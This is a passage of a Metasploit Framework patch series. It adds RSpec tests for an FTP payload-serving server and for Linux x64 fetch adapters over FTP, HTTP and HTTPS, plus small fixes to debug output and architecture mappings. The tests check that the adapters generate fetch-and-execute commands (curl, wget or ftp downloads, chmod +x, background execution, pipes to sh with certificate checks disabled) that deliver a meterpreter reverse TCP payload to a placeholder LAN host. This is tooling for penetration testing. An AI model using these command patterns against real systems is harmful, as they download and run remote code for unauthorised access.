end + + it 'initializes listener to nil' do + expect(server.listener).to be_nil + end + + it 'initializes monitor_thread to nil' do + expect(server.monitor_thread).to be_nil + end + end + + # --------------------------------------------------------------------------- + # File management + # --------------------------------------------------------------------------- + + describe '#register_file' do + it 'stores the file data' do + server.register_file('payload', 'data') + expect(server.files['payload']).to eq('data') + end + + it 'defaults serve_once to true' do + server.register_file('payload', 'data') + expect(server.serve_once['payload']).to be(true) + end + + it 'accepts serve_once: false' do + server.register_file('payload', 'data', serve_once: false) + expect(server.serve_once['payload']).to be(false) + end + + it 'accepts serve_once: true explicitly' do + server.register_file('payload', 'data', serve_once: true) + expect(server.serve_once['payload']).to be(true) + end + + it 'can register multiple files' do + server.register_file('a', 'aaa') + server.register_file('b', 'bbb') + expect(server.files.keys).to contain_exactly('a', 'b') + end + + it 'overwrites an existing registration' do + server.register_file('payload', 'old') + server.register_file('payload', 'new') + expect(server.files['payload']).to eq('new') + end + end + + describe '#deregister_file' do + before { server.register_file('payload', 'data') } + + it 'removes the file' do + server.deregister_file('payload') + expect(server.files).not_to have_key('payload') + end + + it 'removes the serve_once entry' do + server.deregister_file('payload') + expect(server.serve_once).not_to have_key('payload') + end + + it 'is a no-op for an unknown filename' do + expect { server.deregister_file('nonexistent') }.not_to raise_error + end + end + + # --------------------------------------------------------------------------- + # Lifecycle + # --------------------------------------------------------------------------- + + describe '#start and #stop' do + after { server.stop rescue nil } + + it 'sets the listener after start' do + server.start + expect(server.listener).not_to be_nil + end + + it 'spawns a monitor thread after start' do + server.start + expect(server.monitor_thread).to be_a(Thread) + end + + it 'sets shutting_down on stop' do + server.start + server.stop + expect(server.shutting_down).to be(true) + end + + it 'can be started and stopped without error' do + expect { server.start; server.stop }.not_to raise_error + end + end + + # --------------------------------------------------------------------------- + # FTP protocol behaviour + # --------------------------------------------------------------------------- + + describe 'FTP protocol' do + before(:each) { server.start } + after(:each) { server.stop rescue nil } + + describe 'connection banner' do + it 'sends a 220 greeting on connect' do + port = server.listener.getsockname[2] + sock = TCPSocket.new('127.0.0.1', port) + banner = ftp_readline(sock) + expect(banner).to start_with('220 ') + ensure + sock&.close + end + end + + describe 'USER' do + it 'responds 331 requesting password' do + with_connection do |sock| + resp = ftp_cmd(sock, 'USER anonymous') + expect(resp).to start_with('331 ') + end + end + end + + describe 'PASS' do + it 'responds 230 on any password' do + with_connection do |sock| + ftp_cmd(sock, 'USER anonymous') + resp = ftp_cmd(sock, 'PASS anything') + expect(resp).to start_with('230 ') + end + end + end + + describe 'QUIT' do + it 'responds 221' do + with_connection do |sock| + resp = ftp_cmd(sock, 'QUIT') + expect(resp).to start_with('221 ') + end + end + end + + describe 'SYST' do + it 'responds 215 UNIX' do + with_connection do |sock| + resp = ftp_cmd(sock, 'SYST') + expect(resp).to start_with('215 UNIX') + end + end + end + + describe 'TYPE' do + it 'responds 200 echoing the type argument' do + with_connection do |sock| + resp = ftp_cmd(sock, 'TYPE I') + expect(resp).to match(/^200 .*I/) + end + end + end + + describe 'MODE' do + it 'responds 200 echoing the mode argument' do + with_connection do |sock| + resp = ftp_cmd(sock, 'MODE S') + expect(resp).to match(/^200 .*S/) + end + end + end + + describe 'NOOP' do + it 'responds 200' do + with_connection do |sock| + resp = ftp_cmd(sock, 'NOOP') + expect(resp).to start_with('200 ') + end + end + end + + describe 'FEAT' do + it 'responds 211 and advertises PASV' do + with_connection do |sock| + sock.write("FEAT\r\n") + lines = [] + loop do + line = ftp_readline(sock) + lines << line + break if line.start_with?('211 ') + end + full = lines.join + expect(full).to include('PASV') + end + end + end + + describe 'PWD / XPWD' do + it 'responds 257 with the current directory in quotes' do + with_connection do |sock| + resp = ftp_cmd(sock, 'PWD') + expect(resp).to match(/^257 "\/"\s/) + end + end + + it 'XPWD behaves the same as PWD' do + with_connection do |sock| + resp = ftp_cmd(sock, 'XPWD') + expect(resp).to start_with('257 ') + end + end + end + + describe 'CWD' do + it 'responds 250 and updates cwd for an absolute path' do + with_connection do |sock| + resp = ftp_cmd(sock, 'CWD /pub') + expect(resp).to start_with('250 ') + pwd = ftp_cmd(sock, 'PWD') + expect(pwd).to include('"/pub"') + end + end + + it 'appends a relative path to the current directory' do + with_connection do |sock| + ftp_cmd(sock, 'CWD /pub') + ftp_cmd(sock, 'CWD files') + pwd = ftp_cmd(sock, 'PWD') + expect(pwd).to include('"/pub/files"') + end + end + end + + describe 'CDUP' do + it 'responds 250 and moves up one directory' do + with_connection do |sock| + ftp_cmd(sock, 'CWD /pub/files') + ftp_cmd(sock, 'CDUP') + pwd = ftp_cmd(sock, 'PWD') + expect(pwd).to include('"/pub"') + end + end + end + + describe 'PASV' do + it 'responds 227 with host and port' do + with_connection do |sock| + resp = ftp_cmd(sock, 'PASV') + expect(resp).to start_with('227 ') + expect(resp).to match(/\(\d+,\d+,\d+,\d+,\d+,\d+\)/) + end + end + + it 'encodes a non-zero port in the 227 response' do + with_connection do |sock| + resp = ftp_cmd(sock, 'PASV') + parts = resp.match(/\(([^)]+)\)/)[1].split(',') + port = parts[4].to_i * 256 + parts[5].to_i + expect(port).to be > 0 + end + end + end + + describe 'PORT' do + it 'responds 200 for a valid PORT argument' do + with_connection do |sock| + resp = ftp_cmd(sock, 'PORT 127,0,0,1,4,1') + expect(resp).to start_with('200 ') + end + end + + it 'responds 500 for a malformed PORT argument' do + with_connection do |sock| + resp = ftp_cmd(sock, 'PORT invalid') + expect(resp).to start_with('500 ') + end + end + end + + describe 'SIZE' do + before { server.register_file('payload.bin', 'A' * 100) } + + it 'responds 213 with the file size for a known file' do + with_connection do |sock| + resp = ftp_cmd(sock, 'SIZE payload.bin') + expect(resp).to match(/^213 100\r\n/) + end + end + + it 'responds 550 for an unknown file' do + with_connection do |sock| + resp = ftp_cmd(sock, 'SIZE missing.bin') + expect(resp).to start_with('550 ') + end + end + end + + describe 'write commands' do + %w[STOR MKD RMD DELE RNFR RNTO APPE STOU].each do |cmd| + it "responds 550 Permission denied for #{cmd}" do + with_connection do |sock| + resp = ftp_cmd(sock, "#{cmd} anything") + expect(resp).to start_with('550 ') + end + end + end + end + + describe 'unknown commands' do + it 'responds 502 for unrecognised commands' do + with_connection do |sock| + resp = ftp_cmd(sock, 'XYZZY') + expect(resp).to start_with('502 ') + end + end + end + + describe 'LIST' do + before { server.register_file('payload.bin', 'data') } + + it 'responds 530 when not authenticated' do + with_connection do |sock| + ftp_cmd(sock, 'PASV') + resp = ftp_cmd(sock, 'LIST') + expect(resp).to start_with('530 ') + end + end + + it 'sends a directory listing over the data connection' do + with_connection do |sock| + authenticate(sock) + data_sock = pasv_data_socket(sock) + ftp_cmd(sock, 'LIST') # 150 + listing = data_sock.read + data_sock.close + ftp_readline(sock) # 226 + + expect(listing).to include('payload.bin') + end + end + + it 'includes the file size in the listing' do + with_connection do |sock| + authenticate(sock) + data_sock = pasv_data_socket(sock) + ftp_cmd(sock, 'LIST') + listing = data_sock.read + data_sock.close + ftp_readline(sock) + + expect(listing).to include('4') # 'data'.bytesize + end + end + end + + describe 'RETR' do + let(:file_content) { 'BINARY_PAYLOAD_DATA' } + + before { server.register_file('payload.bin', file_content) } + + it 'responds 530 when not authenticated' do + with_connection do |sock| + ftp_cmd(sock, 'PASV') + resp = ftp_cmd(sock, 'RETR payload.bin') + expect(resp).to start_with('530 ') + end + end + + it 'responds 550 for an unknown file' do + with_connection do |sock| + authenticate(sock) + data_sock = pasv_data_socket(sock) + resp = ftp_cmd(sock, 'RETR missing.bin') + data_sock.close + expect(resp).to start_with('550 ') + end + end + + it 'transfers the correct file content' do + with_connection do |sock| + authenticate(sock) + data_sock = pasv_data_socket(sock) + ftp_cmd(sock, 'RETR payload.bin') # 150 + received = data_sock.read + data_sock.close + ftp_readline(sock) # 226 + + expect(received).to eq(file_content) + end + end + + it 'sends 150 then 226 around the transfer' do + with_connection do |sock| + authenticate(sock) + data_sock = pasv_data_socket(sock) + opening = ftp_cmd(sock, 'RETR payload.bin') + data_sock.read + data_sock.close + complete = ftp_readline(sock) + + expect(opening).to start_with('150 ') + expect(complete).to start_with('226 ') + end + end + + context 'with serve_once: true (default)' do + it 'removes the file after retrieval' do + with_connection do |sock| + authenticate(sock) + data_sock = pasv_data_socket(sock) + ftp_cmd(sock, 'RETR payload.bin') + data_sock.read + data_sock.close + ftp_readline(sock) + + expect(server.files).not_to have_key('payload.bin') + end + end + + it 'responds 550 on a second RETR attempt' do + with_connection do |sock| + authenticate(sock) + + # First retrieval + data_sock = pasv_data_socket(sock) + ftp_cmd(sock, 'RETR payload.bin') + data_sock.read + data_sock.close + ftp_readline(sock) + + # Second attempt + ftp_cmd(sock, 'PASV') + resp = ftp_cmd(sock, 'RETR payload.bin') + expect(resp).to start_with('550 ') + end + end + end + + context 'with serve_once: false' do + before { server.register_file('payload.bin', file_content, serve_once: false) } + + it 'keeps the file after retrieval' do + with_connection do |sock| + authenticate(sock) + data_sock = pasv_data_socket(sock) + ftp_cmd(sock, 'RETR payload.bin') + data_sock.read + data_sock.close + ftp_readline(sock) + + expect(server.files).to have_key('payload.bin') + end + end + + it 'serves the file on a second RETR' do + with_connection do |sock| + authenticate(sock) + + 2.times do + data_sock = pasv_data_socket(sock) + ftp_cmd(sock, 'RETR payload.bin') + received = data_sock.read + data_sock.close + ftp_readline(sock) + expect(received).to eq(file_content) + end + end + end + end + end + end +end diff --git a/spec/modules/payloads/adapters/cmd/linux/ftp/x64_spec.rb b/spec/modules/payloads/adapters/cmd/linux/ftp/x64_spec.rb new file mode 100644 index 0000000000000..b14cb02c2dc3d --- /dev/null +++ b/spec/modules/payloads/adapters/cmd/linux/ftp/x64_spec.rb @@ -0,0 +1,160 @@ +require 'rspec' + +RSpec.describe 'cmd/linux/ftp/x64' do + include_context 'Msf::Simple::Framework#modules loading' + + let(:subject) do + load_and_create_module( + module_type: 'payload', + reference_name: 'cmd/linux/ftp/x64/meterpreter_reverse_tcp', + ancestor_reference_names: [ + 'adapters/cmd/linux/ftp/x64', + 'singles/linux/x64/meterpreter_reverse_tcp' + ] + ) + end + + let(:lhost) { '192.168.1.100' } + let(:lport) { '4444' } + let(:fetch_srvhost) { '192.168.1.100' } + let(:fetch_srvport) { 4501 } + let(:fetch_uripath) { 'testpayload' } + let(:fetch_filename) { 'payload' } + let(:fetch_writable_dir) { './' } + + let(:datastore_values) do + { + 'LHOST' => lhost, + 'LPORT' => lport, + 'FETCH_SRVHOST' => fetch_srvhost, + 'FETCH_SRVPORT' => fetch_srvport, + 'FETCH_URIPATH' => fetch_uripath, + 'FETCH_FILENAME' => fetch_filename, + 'FETCH_WRITABLE_DIR' => fetch_writable_dir, + 'FETCH_FILELESS' => 'none', + 'FETCH_PIPE' => false, + 'FETCH_SRVONCE' => false + } + end + + before(:each) { subject.datastore.merge!(datastore_values) } + + # --------------------------------------------------------------------------- + # Module metadata + # --------------------------------------------------------------------------- + + describe 'module metadata' do + it 'includes FTP Fetch in the name' do + expect(subject.name).to include('FTP Fetch') + end + + it 'targets the Linux platform' do + expect(subject.platform.platforms).to include(Msf::Module::Platform::Linux) + end + + it 'uses CMD arch' do + expect(subject.arch).to include(ARCH_CMD) + end + + it 'adapts x64 payloads' do + expect(subject.send(:module_info)['AdaptedArch']).to eq(ARCH_X64) + end + + it 'has linux as the adapted platform' do + expect(subject.send(:module_info)['AdaptedPlatform']).to eq('linux') + end + end + + # --------------------------------------------------------------------------- + # Protocol and platform helpers + # --------------------------------------------------------------------------- + + describe '#fetch_protocol' do + it 'returns FTP' do + expect(subject.fetch_protocol).to eq('FTP') + end + end + + describe '#windows?' do + it 'returns false for this Linux module' do + expect(subject.windows?).to be(false) + end + end + + # --------------------------------------------------------------------------- + # FETCH_COMMAND option + # --------------------------------------------------------------------------- + + describe 'FETCH_COMMAND option' do + it 'defaults to CURL' do + fresh = load_and_create_module( + module_type: 'payload', + reference_name: 'cmd/linux/ftp/x64/meterpreter_reverse_tcp', + ancestor_reference_names: [ + 'adapters/cmd/linux/ftp/x64', + 'singles/linux/x64/meterpreter_reverse_tcp' + ] + ) + expect(fresh.datastore['FETCH_COMMAND']).to eq('CURL') + end + + # All LinuxOptions commands are syntactically valid; FTP/TNFTP are the only + # ones that actually work with an FTP server at runtime. + %w[CURL WGET TNFTP FTP GET TFTP].each do |cmd| + it "accepts #{cmd} as a valid enum value" do + expect(subject.options['FETCH_COMMAND'].valid?(cmd)).to be(true) + end + end + + it 'rejects CERTUTIL as an invalid value' do + expect(subject.options['FETCH_COMMAND'].valid?('CERTUTIL')).to be(false) + end + end + + # --------------------------------------------------------------------------- + # generate_fetch_commands — only FTP and TNFTP are compatible with the FTP + # protocol; other commands raise at runtime. + # --------------------------------------------------------------------------- + + describe '#generate_fetch_commands' do + context 'with FTP' do + before { subject.datastore['FETCH_COMMAND'] = 'FTP' } + + it 'uses ftp -Vo to download' do + expect(subject.generate_fetch_commands).to include('ftp -Vo') + end + + it 'includes the FTP URL with host, port, and URI path' do + expect(subject.generate_fetch_commands).to include( + "ftp://#{fetch_srvhost}:#{fetch_srvport}/#{fetch_uripath}" + ) + end + + it 'makes the file executable and runs it' do + cmd = subject.generate_fetch_commands + expect(cmd).to include('chmod +x') + expect(cmd).to include("#{fetch_writable_dir}#{fetch_filename}&") + end + end + + context 'with TNFTP' do + before { subject.datastore['FETCH_COMMAND'] = 'TNFTP' } + + it 'uses tnftp -Vo to download' do + expect(subject.generate_fetch_commands).to include('tnftp -Vo') + end + + it 'includes the FTP URL with host, port, and URI path' do + expect(subject.generate_fetch_commands).to include( + "ftp://#{fetch_srvhost}:#{fetch_srvport}/#{fetch_uripath}" + ) + end + + it 'makes the file executable and runs it' do + cmd = subject.generate_fetch_commands + expect(cmd).to include('chmod +x') + expect(cmd).to include("#{fetch_writable_dir}#{fetch_filename}&") + end + end + end +end diff --git a/spec/modules/payloads/adapters/cmd/linux/http/x64_spec.rb b/spec/modules/payloads/adapters/cmd/linux/http/x64_spec.rb new file mode 100644 index 0000000000000..9ecd79bf15bac --- /dev/null +++ b/spec/modules/payloads/adapters/cmd/linux/http/x64_spec.rb @@ -0,0 +1,243 @@ +require 'rspec' + +RSpec.describe 'cmd/linux/http/x64' do + include_context 'Msf::Simple::Framework#modules loading' + + let(:subject) do + load_and_create_module( + module_type: 'payload', + reference_name: 'cmd/linux/http/x64/meterpreter_reverse_tcp', + ancestor_reference_names: [ + 'adapters/cmd/linux/http/x64', + 'singles/linux/x64/meterpreter_reverse_tcp' + ] + ) + end + + let(:lhost) { '192.168.1.100' } + let(:lport) { '4444' } + let(:fetch_srvhost) { '192.168.1.100' } + let(:fetch_srvport) { 8080 } + let(:fetch_uripath) { 'testpayload' } + let(:fetch_filename) { 'payload' } + let(:fetch_writable_dir) { './' } + + let(:datastore_values) do + { + 'LHOST' => lhost, + 'LPORT' => lport, + 'FETCH_SRVHOST' => fetch_srvhost, + 'FETCH_SRVPORT' => fetch_srvport, + 'FETCH_URIPATH' => fetch_uripath, + 'FETCH_FILENAME' => fetch_filename, + 'FETCH_WRITABLE_DIR' => fetch_writable_dir, + 'FETCH_FILELESS' => 'none', + 'FETCH_PIPE' => false + } + end + + before(:each) { subject.datastore.merge!(datastore_values) } + + # --------------------------------------------------------------------------- + # Module metadata + # --------------------------------------------------------------------------- + + describe 'module metadata' do + it 'includes HTTP Fetch in the name' do + expect(subject.name).to include('HTTP Fetch') + end + + it 'targets the Linux platform' do + expect(subject.platform.platforms).to include(Msf::Module::Platform::Linux) + end + + it 'uses CMD arch' do + expect(subject.arch).to include(ARCH_CMD) + end + + it 'adapts x64 payloads' do + expect(subject.send(:module_info)['AdaptedArch']).to eq(ARCH_X64) + end + + it 'has linux as the adapted platform' do + expect(subject.send(:module_info)['AdaptedPlatform']).to eq('linux') + end + end + + # --------------------------------------------------------------------------- + # Protocol and platform helpers + # --------------------------------------------------------------------------- + + describe '#fetch_protocol' do + it 'returns HTTP' do + expect(subject.fetch_protocol).to eq('HTTP') + end + end + + describe '#windows?' do + it 'returns false for this Linux module' do + expect(subject.windows?).to be(false) + end + end + + # --------------------------------------------------------------------------- + # FETCH_COMMAND option + # --------------------------------------------------------------------------- + + describe 'FETCH_COMMAND option' do + it 'defaults to CURL' do + fresh = load_and_create_module( + module_type: 'payload', + reference_name: 'cmd/linux/http/x64/meterpreter_reverse_tcp', + ancestor_reference_names: [ + 'adapters/cmd/linux/http/x64', + 'singles/linux/x64/meterpreter_reverse_tcp' + ] + ) + expect(fresh.datastore['FETCH_COMMAND']).to eq('CURL') + end + + %w[CURL WGET TNFTP FTP GET].each do |cmd| + it "accepts #{cmd} as a valid value" do + expect(subject.options['FETCH_COMMAND'].valid?(cmd)).to be(true) + end + end + + %w[CERTUTIL POWERSHELL].each do |cmd| + it "rejects #{cmd} as an invalid value" do + expect(subject.options['FETCH_COMMAND'].valid?(cmd)).to be(false) + end + end + end + + # --------------------------------------------------------------------------- + # generate_fetch_commands + # --------------------------------------------------------------------------- + + describe '#generate_fetch_commands' do + context 'with CURL' do + before { subject.datastore['FETCH_COMMAND'] = 'CURL' } + + it 'uses curl -so to download' do + expect(subject.generate_fetch_commands).to include('curl -so') + end + + it 'includes the HTTP URL with host, port, and URI path' do + expect(subject.generate_fetch_commands).to include( + "http://#{fetch_srvhost}:#{fetch_srvport}/#{fetch_uripath}" + ) + end + + it 'writes to the configured filename' do + expect(subject.generate_fetch_commands).to include(fetch_filename) + end + + it 'makes the file executable and runs it' do + cmd = subject.generate_fetch_commands + expect(cmd).to include('chmod +x') + expect(cmd).to include("#{fetch_writable_dir}#{fetch_filename}&") + end + end + + context 'with WGET' do + before { subject.datastore['FETCH_COMMAND'] = 'WGET' } + + it 'uses wget -qO to download' do + expect(subject.generate_fetch_commands).to include('wget -qO') + end + + it 'includes the HTTP URL' do + expect(subject.generate_fetch_commands).to include( + "http://#{fetch_srvhost}:#{fetch_srvport}/#{fetch_uripath}" + ) + end + end + + context 'with GET' do + before { subject.datastore['FETCH_COMMAND'] = 'GET' } + + it 'uses GET -m GET to download' do + expect(subject.generate_fetch_commands).to include('GET -m GET') + end + + it 'includes the HTTP URL' do + expect(subject.generate_fetch_commands).to include( + "http://#{fetch_srvhost}:#{fetch_srvport}/#{fetch_uripath}" + ) + end + + it 'uses tee to write the file instead of shell redirection' do + cmd = subject.generate_fetch_commands + expect(cmd).to include('| tee') + expect(cmd).not_to match(/GET -m GET[^|]+>(?!\s*\/dev\/null)/) + end + end + + context 'with TNFTP' do + before { subject.datastore['FETCH_COMMAND'] = 'TNFTP' } + + it 'uses tnftp -Vo to download' do + expect(subject.generate_fetch_commands).to include('tnftp -Vo') + end + + it 'includes the HTTP URL' do + expect(subject.generate_fetch_commands).to include( + "http://#{fetch_srvhost}:#{fetch_srvport}/#{fetch_uripath}" + ) + end + end + + context 'with FTP' do + before { subject.datastore['FETCH_COMMAND'] = 'FTP' } + + it 'uses ftp -Vo to download' do + expect(subject.generate_fetch_commands).to include('ftp -Vo') + end + + it 'includes the HTTP URL' do + expect(subject.generate_fetch_commands).to include( + "http://#{fetch_srvhost}:#{fetch_srvport}/#{fetch_uripath}" + ) + end + end + end + + # --------------------------------------------------------------------------- + # generate_pipe_command + # --------------------------------------------------------------------------- + + describe '#generate_pipe_command' do + let(:pipe_uri) { 'pipe_script_path' } + + context 'with CURL' do + before { subject.datastore['FETCH_COMMAND'] = 'CURL' } + + it 'pipes curl stdout to sh' do + cmd = subject.generate_pipe_command(pipe_uri) + expect(cmd).to match(/curl -s http:\/\/.+\|sh/) + end + + it 'includes the pipe URI in the URL' do + expect(subject.generate_pipe_command(pipe_uri)).to include(pipe_uri) + end + end + + context 'with WGET' do + before { subject.datastore['FETCH_COMMAND'] = 'WGET' } + + it 'pipes wget stdout to sh' do + cmd = subject.generate_pipe_command(pipe_uri) + expect(cmd).to match(/wget -qO- http:\/\/.+\|sh/) + end + end + + context 'with GET' do + before { subject.datastore['FETCH_COMMAND'] = 'GET' } + + it 'pipes GET stdout to sh' do + cmd = subject.generate_pipe_command(pipe_uri) + expect(cmd).to match(/GET -m GET http:\/\/.+\|sh/) + end + end + end +end diff --git a/spec/modules/payloads/adapters/cmd/linux/https/x64_spec.rb b/spec/modules/payloads/adapters/cmd/linux/https/x64_spec.rb new file mode 100644 index 0000000000000..78253eefc57e3 --- /dev/null +++ b/spec/modules/payloads/adapters/cmd/linux/https/x64_spec.rb @@ -0,0 +1,217 @@ +require 'rspec' + +RSpec.describe 'cmd/linux/https/x64' do + include_context 'Msf::Simple::Framework#modules loading' + + let(:subject) do + load_and_create_module( + module_type: 'payload', + reference_name: 'cmd/linux/https/x64/meterpreter_reverse_tcp', + ancestor_reference_names: [ + 'adapters/cmd/linux/https/x64', + 'singles/linux/x64/meterpreter_reverse_tcp' + ] + ) + end + + let(:lhost) { '192.168.1.100' } + let(:lport) { '4444' } + let(:fetch_srvhost) { '192.168.1.100' } + let(:fetch_srvport) { 8443 } + let(:fetch_uripath) { 'testpayload' } + let(:fetch_filename) { 'payload' } + let(:fetch_writable_dir) { './' } + + let(:datastore_values) do + { + 'LHOST' => lhost, + 'LPORT' => lport, + 'FETCH_SRVHOST' => fetch_srvhost, + 'FETCH_SRVPORT' => fetch_srvport, + 'FETCH_URIPATH' => fetch_uripath, + 'FETCH_FILENAME' => fetch_filename, + 'FETCH_WRITABLE_DIR' => fetch_writable_dir, + 'FETCH_FILELESS' => 'none', + 'FETCH_PIPE' => false, + 'FETCH_CHECK_CERT' => false + } + end + + before(:each) { subject.datastore.merge!(datastore_values) } + + # --------------------------------------------------------------------------- + # Module metadata + # --------------------------------------------------------------------------- + + describe 'module metadata' do + it 'includes HTTPS Fetch in the name' do + expect(subject.name).to include('HTTPS Fetch') + end + + it 'targets the Linux platform' do + expect(subject.platform.platforms).to include(Msf::Module::Platform::Linux) + end + + it 'uses CMD arch' do + expect(subject.arch).to include(ARCH_CMD) + end + + it 'adapts x64 payloads' do + expect(subject.send(:module_info)['AdaptedArch']).to eq(ARCH_X64) + end + + it 'has linux as the adapted platform' do + expect(subject.send(:module_info)['AdaptedPlatform']).to eq('linux') + end + end + + # --------------------------------------------------------------------------- + # Protocol and platform helpers + # --------------------------------------------------------------------------- + + describe '#fetch_protocol' do + it 'returns HTTPS' do + expect(subject.fetch_protocol).to eq('HTTPS') + end + end + + describe '#windows?' do + it 'returns false for this Linux module' do + expect(subject.windows?).to be(false) + end + end + + # --------------------------------------------------------------------------- + # FETCH_COMMAND option + # --------------------------------------------------------------------------- + + describe 'FETCH_COMMAND option' do + it 'defaults to CURL' do + fresh = load_and_create_module( + module_type: 'payload', + reference_name: 'cmd/linux/https/x64/meterpreter_reverse_tcp', + ancestor_reference_names: [ + 'adapters/cmd/linux/https/x64', + 'singles/linux/x64/meterpreter_reverse_tcp' + ] + ) + expect(fresh.datastore['FETCH_COMMAND']).to eq('CURL') + end + + %w[CURL WGET TNFTP FTP GET].each do |cmd| + it "accepts #{cmd} as a valid value" do + expect(subject.options['FETCH_COMMAND'].valid?(cmd)).to be(true) + end + end + + it 'rejects CERTUTIL as an invalid value' do + expect(subject.options['FETCH_COMMAND'].valid?('CERTUTIL')).to be(false) + end + end + + # --------------------------------------------------------------------------- + # generate_fetch_commands + # --------------------------------------------------------------------------- + + describe '#generate_fetch_commands' do + context 'with CURL' do + before { subject.datastore['FETCH_COMMAND'] = 'CURL' } + + it 'uses curl -sko to download over HTTPS' do + expect(subject.generate_fetch_commands).to include('curl -sko') + end + + it 'includes the HTTPS URL with host, port, and URI path' do + expect(subject.generate_fetch_commands).to include( + "https://#{fetch_srvhost}:#{fetch_srvport}/#{fetch_uripath}" + ) + end + + it 'makes the file executable and runs it' do + cmd = subject.generate_fetch_commands + expect(cmd).to include('chmod +x') + expect(cmd).to include("#{fetch_writable_dir}#{fetch_filename}&") + end + end + + context 'with WGET' do + before { subject.datastore['FETCH_COMMAND'] = 'WGET' } + + it 'uses wget with --no-check-certificate over HTTPS' do + cmd = subject.generate_fetch_commands + expect(cmd).to include('wget') + expect(cmd).to include('--no-check-certificate') + end + + it 'includes the HTTPS URL' do + expect(subject.generate_fetch_commands).to include( + "https://#{fetch_srvhost}:#{fetch_srvport}/#{fetch_uripath}" + ) + end + end + + context 'with TNFTP' do + before { subject.datastore['FETCH_COMMAND'] = 'TNFTP' } + + it 'sets FTPSSLNOVERIFY=1 when FETCH_CHECK_CERT is false' do + subject.datastore['FETCH_CHECK_CERT'] = false + expect(subject.generate_fetch_commands).to include('FTPSSLNOVERIFY=1') + end + + it 'omits FTPSSLNOVERIFY when FETCH_CHECK_CERT is true' do + subject.datastore['FETCH_CHECK_CERT'] = true + expect(subject.generate_fetch_commands).not_to include('FTPSSLNOVERIFY') + end + + it 'uses tnftp -Vo to download' do + expect(subject.generate_fetch_commands).to include('tnftp -Vo') + end + + it 'includes the HTTPS URL' do + expect(subject.generate_fetch_commands).to include( + "https://#{fetch_srvhost}:#{fetch_srvport}/#{fetch_uripath}" + ) + end + end + + context 'with GET' do + before { subject.datastore['FETCH_COMMAND'] = 'GET' } + + it 'raises a bad-config error because GET cannot disable certificate verification' do + expect { subject.generate_fetch_commands }.to raise_error(RuntimeError, /bad-config.*FETCH_CHECK_CERT/) + end + end + end + + # --------------------------------------------------------------------------- + # generate_pipe_command + # --------------------------------------------------------------------------- + + describe '#generate_pipe_command' do + let(:pipe_uri) { 'pipe_script_path' } + + context 'with CURL' do + before { subject.datastore['FETCH_COMMAND'] = 'CURL' } + + it 'pipes curl -sk stdout to sh over HTTPS' do + cmd = subject.generate_pipe_command(pipe_uri) + expect(cmd).to match(/curl -sk https:\/\/.+\|sh/) + end + + it 'includes the pipe URI in the URL' do + expect(subject.generate_pipe_command(pipe_uri)).to include(pipe_uri) + end + end + + context 'with WGET' do + before { subject.datastore['FETCH_COMMAND'] = 'WGET' } + + it 'pipes wget --no-check-certificate stdout to sh over HTTPS' do + cmd = subject.generate_pipe_command(pipe_uri) + expect(cmd).to include('wget') + expect(cmd).to include('--no-check-certificate') + expect(cmd).to include('|sh') + end + end + end +end From e1f2fa1b106358a3d526d2c83651429577456d86 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Wed, 3 Jun 2026 19:54:21 -0500 Subject: [PATCH 12/18] Easy copilot fixes and remove silly debug prints --- lib/msf/core/payload/adapter/fetch/http.rb | 3 --- lib/msf/core/payload/adapter/fetch/server/http.rb | 7 ------- lib/msf/core/payload/linux/multi_arch.rb | 6 +++--- 3 files changed, 3 insertions(+), 13 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch/http.rb b/lib/msf/core/payload/adapter/fetch/http.rb index b1755932862b2..300138576009b 100644 --- a/lib/msf/core/payload/adapter/fetch/http.rb +++ b/lib/msf/core/payload/adapter/fetch/http.rb @@ -20,14 +20,11 @@ def cleanup_handler def setup_handler unless datastore['FetchHandlerDisable'] - vprint_status("#{__method__}:#{__LINE__}") @fetch_service = start_http_fetch_handler(srvname) @srv_resources.each do |srv_entry| - vprint_status("#{__method__}:#{__LINE__}") escaped_uri = ('/' + srv_entry[:uri]).gsub('//', '/') @myresources << escaped_uri add_resource(@fetch_service, escaped_uri, srv_entry) - vprint_status("#{__method__}:#{__LINE__}") end end super diff --git a/lib/msf/core/payload/adapter/fetch/server/http.rb b/lib/msf/core/payload/adapter/fetch/server/http.rb index 4ae366472600e..1bf669f22a3d1 100644 --- a/lib/msf/core/payload/adapter/fetch/server/http.rb +++ b/lib/msf/core/payload/adapter/fetch/server/http.rb @@ -62,27 +62,21 @@ def start_http_fetch_handler(srvname, ssl = false, ssl_cert = nil, ssl_compressi end def on_request_uri(cli, request, srv_entry) - vprint_status("#{__method__}:#{__LINE__}") opts = srv_entry[:opts] client = cli.peerhost vprint_status("Client #{client} requested #{request.uri}") if (user_agent = request.headers['User-Agent']) client += " (#{user_agent})" end - vprint_status("#{__method__}:#{__LINE__}") vprint_status("Sending payload to #{client}") - vprint_status("#{__method__}:#{__LINE__}") if opts[:dynamic_arch] - vprint_status("#{__method__}:#{__LINE__}") vprint_status("Dynamic Payload Detected, expecting a Query String in the request...") - vprint_status request.to_s query_string = request.uri_parts['QueryString'] || {} arch_param = query_string['arch'] if arch_param.nil? || arch_param.strip.empty? print_error('Fetch request missing required arch query parameter') return nil end - vprint_status arch_param.to_s arch = Rex::Arch.from_uname(arch_param) if arch.nil? print_error("Failed to identify the architecture in Query String #{request.uri_parts['QueryString']['arch'].to_s}") @@ -90,7 +84,6 @@ def on_request_uri(cli, request, srv_entry) end vprint_status("Building payload for #{arch.to_s} arch") opts[:arch] = arch - vprint_status("2") # Call generate with arch and dynamic_arch populated properly to build the right binary payload_exe = generate(opts) if payload_exe.nil? diff --git a/lib/msf/core/payload/linux/multi_arch.rb b/lib/msf/core/payload/linux/multi_arch.rb index b692a49a293ac..9a80a60ab1e3f 100644 --- a/lib/msf/core/payload/linux/multi_arch.rb +++ b/lib/msf/core/payload/linux/multi_arch.rb @@ -39,7 +39,7 @@ def mettle_arch_transform(arch) return 'powerpc-e500v2-linux-musl' when ARCH_PPC64LE, 'ARCH_PPC64LE' return 'powerpc64le-linux-musl' - when ARCH_X64, 'ARCH_X644' + when ARCH_X64, 'ARCH_X64' return 'x86_64-linux-musl' when ARCH_X86, 'ARCH_X86' return 'i486-linux-musl' @@ -66,11 +66,11 @@ def metasploit_arch_transform(arch) return ARCH_MIPSLE when ARCH_PPC, 'ARCH_PPC' return ARCH_PPC - when ARCH_PPCE500V2, 'ARCH_PPCE500V3' + when ARCH_PPCE500V2, 'ARCH_PPCE500V2' return ARCH_PPCE500V2 when ARCH_PPC64LE, 'ARCH_PPC64LE' return ARCH_PPC64LE - when ARCH_X64, 'ARCH_X86' + when ARCH_X64, 'ARCH_X64' return 